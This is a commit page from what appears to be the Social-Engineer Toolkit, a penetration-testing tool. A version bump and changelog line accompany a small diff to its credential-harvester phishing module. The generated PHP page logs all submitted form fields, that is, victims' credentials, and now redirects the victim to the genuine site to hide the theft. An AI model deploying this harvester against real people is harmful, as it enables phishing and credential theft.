Fixed redirect after successful grab in harvester attacks

This commit is contained in:
TrustedSec 2014-06-19 22:00:37 -04:00
parent 3b96aac20d
commit e08ca79dc9
3 changed files with 8 additions and 2 deletions

View file

@ -1,3 +1,9 @@
~~~~~~~~~~~~~~~~
version 6.0.4
~~~~~~~~~~~~~~~~
* fixed an issue that would cause credential harvester, tabnabbing, and webjacking to not properly redirect after successful credential nab
~~~~~~~~~~~~~~~~
version 6.0.3
~~~~~~~~~~~~~~~~

View file

@ -230,7 +230,7 @@ def print_error(message):
print bcolors.RED + bcolors.BOLD + "[!] " + bcolors.ENDC + bcolors.RED + str(message) + bcolors.ENDC
def get_version():
define_version = '6.0.3'
define_version = '6.0.4'
return define_version
class create_menu:

View file

@ -436,7 +436,7 @@ def run():
print "Feel free to customize post.php in the %s directory" % (apache_dir) + bcolors.ENDC
filewrite = file("%s/post.php" % (apache_dir), "w")
now=datetime.datetime.today()
filewrite.write("""<?php $file = 'harvester_%s.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?>""" % (now))
filewrite.write("""<?php $file = 'harvester_%s.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=%s" />""" % (now, RAW_URL))
filewrite.close()
filewrite = file("%s/harvester_%s.txt" % (logpath,now), "w")
filewrite.write("")